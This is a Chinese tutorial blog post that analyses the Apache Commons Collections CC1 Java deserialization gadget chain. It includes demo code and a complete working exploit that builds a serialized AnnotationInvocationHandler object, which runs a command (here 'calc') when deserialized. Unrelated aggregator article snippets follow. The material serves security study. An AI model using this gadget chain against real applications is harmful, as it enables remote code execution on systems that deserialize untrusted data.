Java安全 CC链1分析

Java安全之CC链1分析

  • 什么是CC链
  • 环境搭建
    • jdk下载
    • idea配置
    • 创建项目
  • 前置知识
    • Transformer接口
    • ConstantTransformer类
    • invokerTransformer类
    • ChainedTransformer类
  • 构造CC链1
    • CC链1核心
      • demo1
      • demo1分析
    • 寻找如何触发CC链1核心
      • TransformedMap类
      • AbstractInputCheckedMapDecorator类
      • readObject方法
  • 完整cc链1 exp

什么是CC链

Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的调用,导致了反序列化漏洞的普遍性和严重性

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。

建议学习cc链之前先学一下Java的反射机制

环境搭建

jdk下载

我们一共需要下载两个东西

  • CommonsCollections <= 3.2.1
  • java 8u66 (高版本的jdk有些漏洞已被修复)

java 8u66下载地址
在这里插入图片描述

一些源码为class文件,idea反编译出来的文件不方便阅读,我们需要去下载openjdk的源码,并导入我们的jdk中

下载地址
在这里插入图片描述

在jdk 8u66安装好后,我们进入安装目录的jdk1.8.0_65文件夹,将 src.zip 解压到当前文件夹
在这里插入图片描述

然后将刚才下好的openjdk源码解压,并来到src\share\classes下面,将sun文件夹复制到jdk的src目录中

idea配置

我们点击左上角的项目结构
在这里插入图片描述

然后将jdk的src目录分别添加到类路径和源路径中
在这里插入图片描述

创建项目

我们构建系统选择Maven然后创建名为cc1的项目
在这里插入图片描述

然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容

用于下载commons-collections依赖

    <dependencies><!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>

最后右键 pom.xml,再点击 Maven选项,按图上标号顺序点击即可

生成源代码需要等待一小会,等目录中出现target文件夹时即可点击 重新加载项目
在这里插入图片描述

到此我们所需环境配置完成,下面开始调试分析

前置知识

Transformer接口

接口代码为

public interface Transformer {public Object transform(Object input);
}

该接口实现了对 对象 的转化,对传入的对象进行一些操作,然后并返回操作完的对象

该接口的重要实现有:

  • ConstantTransformer
  • invokerTransformer
  • ChainedTransformer
  • TransformedMap

这些实现的类都与CC链有关,以下是对这些实现的介绍

ConstantTransformer类

ConstantTransformer类的代码为

public class ConstantTransformer implements Transformer, Serializable {public static Transformer getInstance(Object constantToReturn) {if (constantToReturn == null) {return NULL_INSTANCE;}return new ConstantTransformer(constantToReturn);}public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}public Object transform(Object input) {return iConstant;}public Object getConstant() {return iConstant;}
}

我们着重分析下ConstantTransformer构造方法和transform方法

其ConstantTransformer构造方法接收任意类型对象,并赋值给 iConstant 变量,然后无论 transform方法接收什么 input 参数,其都会返回 iConstant 变量,也就是说假如只调用构造方法和transform方法的话,我们传入什么对象,就会原封不动地返回什么对象

invokerTransformer类

invokerTransformer类的代码为

public class InvokerTransformer implements Transformer, Serializable {private static final long serialVersionUID = -8653385846894047688L;private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public static Transformer getInstance(String methodName) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}return new InvokerTransformer(methodName);}public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {if (methodName == null) {throw new IllegalArgumentException("The method to invoke must not be null");}if (((paramTypes == null) && (args != null))|| ((paramTypes != null) && (args == null))|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {throw new IllegalArgumentException("The parameter types must match the arguments");}if (paramTypes == null || paramTypes.length == 0) {return new InvokerTransformer(methodName);} else {paramTypes = (Class[]) paramTypes.clone();args = (Object[]) args.clone();return new InvokerTransformer(methodName, paramTypes, args);}}private InvokerTransformer(String methodName) {super();iMethodName = methodName;iParamTypes = null;iArgs = null;}public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}}

我们同样分析下 InvokerTransformer构造方法和transform方法

构造方法为

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}

该方法接收3个参数,分别为 方法名方法参数类型表方法参数,在成功接收这三个参数后,便会赋值给其成员变量iMethodName,iParamTypes,iArgs

transform方法为

    public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

该方法首先需要接收一个名为 input 的对象参数,如果该参数不存在则返回NULL,然后通过 getClass() 方法获取该对象的class对象赋值给cls,然后又通过 getMethod() 方法,获取cls对象中指定参数类型的公共方法,最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行,最后返回执行结果(基于反射机制实现)。

ChainedTransformer类

ChainedTransformer类代码为

public class ChainedTransformer implements Transformer, Serializable {private static final long serialVersionUID = 3514945074733160196L;private final Transformer[] iTransformers;public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);}public static Transformer getInstance(Collection transformers) {if (transformers == null) {throw new IllegalArgumentException("Transformer collection must not be null");}if (transformers.size() == 0) {return NOPTransformer.INSTANCE;}Transformer[] cmds = new Transformer[transformers.size()];int i = 0;for (Iterator it = transformers.iterator(); it.hasNext();) {cmds[i++] = (Transformer) it.next();}FunctorUtils.validate(cmds);return new ChainedTransformer(cmds);}public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {if (transformer1 == null || transformer2 == null) {throw new IllegalArgumentException("Transformers must not be null");}Transformer[] transformers = new Transformer[] { transformer1, transformer2 };return new ChainedTransformer(transformers);}public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}public Transformer[] getTransformers() {return iTransformers;}
} 

我们分析其ChainedTransformer构造方法和transform方法

首先构造方法接收一个Transformer[]接口类型的数组,并将其赋值给成员变量iTransformers

public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;
}

然后transform方法会循环遍历该Transformer数组,执行该数组每一个成员的 transform 方法,并将执行结果作为下一次 transform 的参数,最后返回最终的执行结果

    public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

ChainedTransformer类可以说非常重要,是cc链的核心,它可以将整条cc链串起来,进行链式执行

构造CC链1

CC链1核心

cc链1的核心就是以下代码

Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
//通过Runtime类的getRuntime方法的exec函数进行命令执行

demo1

实现这条核心代码的便是如下transform链

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain = new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}

该方法定义了一个Transformer接口的数组,然后将该数组传递给 ChainedTransformer 类

demo1分析

接下来我们来逐条分析一下

首先 transformerChain对象调用了transform方法(传入参数1),开始循环遍历 transformers 数组

第一次遍历:

执行

ConstantTransformer(Runtime.class).transform(1)

因为 Runtime 为单例类,不能直接实例化,所以要通过反射的方法获取

由于ConstantTransformer的transform方法不受传入参数的影响,故返回值还是 Runtime.class

第二次遍历:

将上一次的结果 Runtime.class带入本次transform,执行

InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)

得到返回结果为

Runtime.class.getMethod("getRuntime")

第三次遍历:

将上一次结果Runtime.class.getMethod("getRuntime")带入本次transform,执行

InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))

得到返回结果为

Runtime.class.getMethod("getRuntime").invoke(null)

第四次遍历:

将上一次结果Runtime.class.getMethod("getRuntime").invoke(null)带入本次transform,执行

InvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))

得到最终执行结果为

Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")

我们运行,可以看到成功弹出计算器
在这里插入图片描述

寻找如何触发CC链1核心

TransformedMap类

我们选中transform()方法,查看哪里对其进行了调用
在这里插入图片描述

发现TransformedMap类中的checkSetValue方法对其进行了调用,并返回
在这里插入图片描述

该方法定义如下

protected Object checkSetValue(Object value) {return valueTransformer.transform(value);
}

所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer(上一步的核心链),然后调用它的checkSetValue方法,从而触发ChainedTransformer的transform方法,对Transformer数组进行遍历循环,即可进行代码执行

但是我们向上找到TransformedMap类的构造方法,如下

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;
}

发现构造发现是 protected 类型的,并不能直接new实例化,但我们发现了其 decorate 静态方法,如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);
}

通过分析,我们发现我们只需调用TransformedMap类的静态方法decorate,即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象

这样我们调用checkSetValue方法时,transform方法 执行的对象赋值的问题便解决了

AbstractInputCheckedMapDecorator类

接下来我们便寻找那里调用了 checkSetValue方法,同样通过(Alt+F7),查找用法

这里只找到一处引用
在这里插入图片描述

AbstractInputCheckedMapDecorator类setValue方法中,该方法如下

        public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}

也就是我们在执行setValue方法时便会触发cc链1

同时我们发现 TransformedMap类(上文含有checkSetValue和decorate方法的类)是AbstractInputCheckedMapDecorator类的子类

public class TransformedMapextends AbstractInputCheckedMapDecorator
……

并且AbstractInputCheckedMapDecorator类重写了Map.EntrysetValue方法,具体继承关系由下图所示
在这里插入图片描述在这里插入图片描述

所以当我们调用TransformedMap类装饰的Map(键值对集合),其Map.Entry(键值对)的setValue方法时,调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

我们写一个这样的例子,遍历TransformedMap类装饰的Map的Entry

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer transformerChain = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();map.put("key","value");//创建TransformedMap类装饰的MapMap<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);for (Map.Entry entry:transformedMap.entrySet()){entry.setValue(1);}}
}

readObject方法

然后我们再寻找哪里调用了setValue方法,同样 Alt+F7快捷键选中查找引用

我们在AnnotationInvocationHandler类readObject方法中找到了对setValue方法的引用,好像找到了这条cc链1的反序列化起点,接下来我们具体分析下
在这里插入图片描述

readObject方法代码如下

    private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();AnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}

我们发现需要利用的核心代码主要如下

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}

经分析得,我们首先需要满足两重if语句,然后才可以对该Map.Entry执行setValue方法

这里强调一下,虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第一重if

if (memberType != null)

memberType由以下关键代码获得

annotationType = AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息,type是构造方法传的class对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型         
String name = memberValue.getKey(); //获取Map键值对中的键名(成员名)
Class<?> memberType = memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型

所以我们传入的class对象中要具有传入的Map中的键名成员(而且要为Annotation类的子类,下面有讲)

举个例子

假如传入Map如下
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
则我们传入的第一个参数,也就是class对象中必须有一个名为value的成员,这个成员可以是属性也可以是方法 

第二重if

if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))

我们要让里面的两个条件都为假,及Map的键值不能为见面对应类型或其子类型的实例的实例,同时不能为ExceptionProxy 类或其子类的实例

我们再来看下AnnotationInvocationHandler类构造方法,代码如下

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **Map<String, Object>**对象

我们发现构造方法和类都私有的,需要通过反射获得

然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法,定义如下

//Retention.java
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {RetentionPolicy value();
}

这样我们传入有个含有键名为 value 的Map即可大功告成

完整cc链1 exp

如下:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class Serialcc {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers = new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),//通过反射调用invoke()方法new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动notepadnew InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hash = new HashMap<>();//给HashMap添加一个键值对hash.put("value",'b');//使用chainedTransformer装饰HashMap生成新的Map decorateMap<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象oObject o = constructor.newInstance(Target.class, decorate);serialize(o); //定义了一个序列化的方法unserialize("1.bin"); //定义了一个反序列化的方法}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}

运行成功弹出计算器
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/637534.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

响应式Web开发项目教程(HTML5+CSS3+Bootstrap)第2版 例4-6 fieldset

代码 <!doctype html> <html> <head> <meta charset"utf-8"> <title>fieldset</title> </head><body> <form action"#"><fieldset><legend>学生信息</legend>姓名&#xff1a;&…

2024PMP考试新考纲-【过程领域】近期典型真题和很详细解析(8)

华研荟继续为您分享【过程Process领域】的新考纲下的真题&#xff0c;今天来看几道关于风险方面的PMP真题&#xff0c;帮助大家体会和理解新考纲下PMP的考试特点和如何应用所学的知识和常识&#xff08;经验&#xff09;来解题&#xff0c;并且举一反三&#xff0c;一次性3A通过…

WordPress怎么去除jquery和CSS静态文件链接中的版本号?附2种方法

我们很多WordPress网站默认情况下所加载的jquery和CSS静态文件链接中都会带有相应的版本号&#xff0c;比如boke112百科使用的YIA主题&#xff0c;加载CSS文件时就会在链接地址后面加上?ver2.7&#xff0c;即是style.css?ver2.7 除了CSS文件会加上版本号外&#xff0c;加载主…

[小程序]样式与配置

一、外部样式导入 使用import加外部样式表的相对路径并以 ; 表示语句结束。 import "common.wxss"; 二、全局样式和局部样式 全局样式位于app.wxss中&#xff0c;会作用于整个项目中所有页面中。 局部样式位于对应的wxss文件中&#xff0c;仅作用于当前页面&#x…

【项目搭建三】SpringBoot引入redis

添加依赖 本文使用spring data redis访问和操作redis&#xff0c;pom文件中加入以下依赖&#xff1a; <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-redis</artifactId> </depende…

基于华为MRS3.2.0实时Flink消费Kafka落盘至HDFS的Hive外部表的调度方案

文章目录 1 Kafka1.1 Kerberos安全模式的认证与环境准备1.2 创建一个测试主题1.3 消费主题的接收测试 2 Flink1.1 Kerberos安全模式的认证与环境准备1.2 Flink任务的开发 3 HDFS与Hive3.1 Shell脚本的编写思路3.2 脚本测试方法 4 DolphinScheduler 该需求为实时接收对手Topic&a…

使用vscode在wsl2中配置clangd环境

在vscode中安装这三个插件&#xff08;clangd需要科学上网或者从VSIX安装&#xff09; 之后创建一个空目录并进去。 使用快捷键ctrlshiftp&#xff0c;输入命令 Cmake:Quick Start 根据步骤选择。注意在创建CMakeLists.txt这一步选择跳过&#xff0c;直接输入enter&#xff0c…

Linux 驱动开发基础知识——认识LED驱动程序 (二)

个人名片&#xff1a; &#x1f981;作者简介&#xff1a;一名喜欢分享和记录学习的在校大学生 &#x1f42f;个人主页&#xff1a;妄北y &#x1f427;个人QQ&#xff1a;2061314755 &#x1f43b;个人邮箱&#xff1a;2061314755qq.com &#x1f989;个人WeChat&#xff1a;V…

Linux之进程间通信(管道)

目录 一、进程间通信 1、进程间通信的概念 2、进程间通信的目的 3、进程间通信的分类 二、管道 1、管道基本介绍 2、匿名管道 3、命名管道 一、进程间通信 1、进程间通信的概念 什么是进程间通信&#xff1f; 我们在学习了进程的相关知识后&#xff0c;知道&#xff…

树的一些经典 Oj题 讲解

关于树的遍历 先序遍历 我们知道 树的遍历有 前序遍历 中序遍历 后序遍历 然后我们如果用递归的方式去解决&#xff0c;对我们来说应该是轻而易举的吧&#xff01;那我们今天要讲用迭代&#xff08;非递归&#xff09;实现 树的相关遍历 首先呢 我们得知道 迭代解法 本质上也…

浅析云服务oss/obs/cos对象存储安全攻防

文章目录 前言云存储服务1.1 初识对象存储1.2 腾讯云COS桶1.3 公开读取风险 对象存储桶风险2.1 Bucket Object遍历2.2 Bucket 名称的爆破2.3 Bucket ACL可读写2.4 任意写与文件覆盖2.5 Bucket 域名的接管 AccessKey凭证泄露3.1 行云管家接管主机3.2 Github泄露AK/SK3.3 客户端程…

Chatgpt+Comfyui绘图源码说明及本地部署文档

其他文档地址&#xff1a; ChatgptComfyui绘图源码运营文档 ChatgptComfyui绘图源码线上部署文档 一、源码说明 1、源码目录说明 app_home&#xff1a;app官网源码chatgpt-java&#xff1a;管理后台服务端源码、用户端的服务端源码chatgpt-pc&#xff1a;电脑网页前端源码cha…

两条链表相同位数相加[中等]

优质博文IT-BLOG-CN 一、题目 给你两个非空的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照逆序的方式存储的&#xff0c;并且每个节点只能存储一位数字。请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。你可以假设除了数字0之外&#xff0c;这…

【征服Redis12】redis的主从复制问题

从现在开始&#xff0c;我们来讨论redis集群的问题&#xff0c;在前面我们介绍了RDB和AOF两种同步机制&#xff0c;那你是否考虑过这两个机制有什么用呢&#xff1f;其中的一个重要作用就是为了集群同步设计的。 Redis是一个高性能的键值存储系统&#xff0c;广泛应用于Web应用…

【React】Redux的使用详解

文章目录 Redux的三大原则Redux官方图react-redux使用 1、创建store管理全局状态​ 2、在项目index.js根节点引用 3、 在需要使用redux的页面或者组件中&#xff0c;通过connect高阶组件映射到该组件的props中 redux中异步操作如何使用redux-thunkcombineReducers函数 Re…

数据结构和算法笔记4:排序算法-归并排序

归并排序算法完全遵循分治模式。直观上其操作如下&#xff1a; 分解&#xff1a;分解待排序的n个元素的序列成各具n/2个元素的两个子序列。解决&#xff1a;使用归并排序递归地排序两个子序列。合并&#xff1a;合并两个已排序的子序列以产生已排序的答案。 我们直接来看例子…

Flutter 与 Android原生 相互通信:BasicMessageChannel、MethodChannel、EventChannel

前言 本文主要讲解&#xff0c;使用不同的 Channel 让 Flutter 和 Android原生 进行通信&#xff0c;由于只是讲解两端通信&#xff0c;所以可视化效果不好&#xff1b; 不过我写了一篇专门讲解 Flutter 嵌入 Android原生View的文章 Flutter 页面嵌入 Android原生 View-CSDN…

小程序使用echarts图表-雷达图

本文介绍下小程序中如何使用echarts 如果是通过npm安装&#xff0c;这样是全部安装的&#xff0c;体积有点大 我这边是使用echarts中的一个组件来实现的&#xff0c;下边是具体流程&#xff0c;实际效果是没有外边的红色边框的&#xff0c;加红色边框的效果是这篇说明 1.echa…

IDEA的database使用

一、数据据库 在使用database之前&#xff0c;首先你的电脑要安装好了数据库并且启动。 MySQL卸载手册 链接&#xff1a;https://pan.baidu.com/doc/share/AVXW5SG6T76puBOWnPegmw-602323264797863 提取码&#xff1a;hlgf MySQL安装图解 链接&#xff1a;https://pan.baidu.…

机器学习笔记——机器学习的分类

1 机器学习是啥 机器学习是人工智能的一个分支&#xff0c;它是一门研究机器获取新知识和新技能&#xff0c;并识别现有知识的学问。 机器学习已广泛应用于数据挖掘、计算机视觉、自然语言处理、生物特征识别、搜索引擎、医学诊断、检测信用卡欺诈、证券市场分析、DNA 序列测…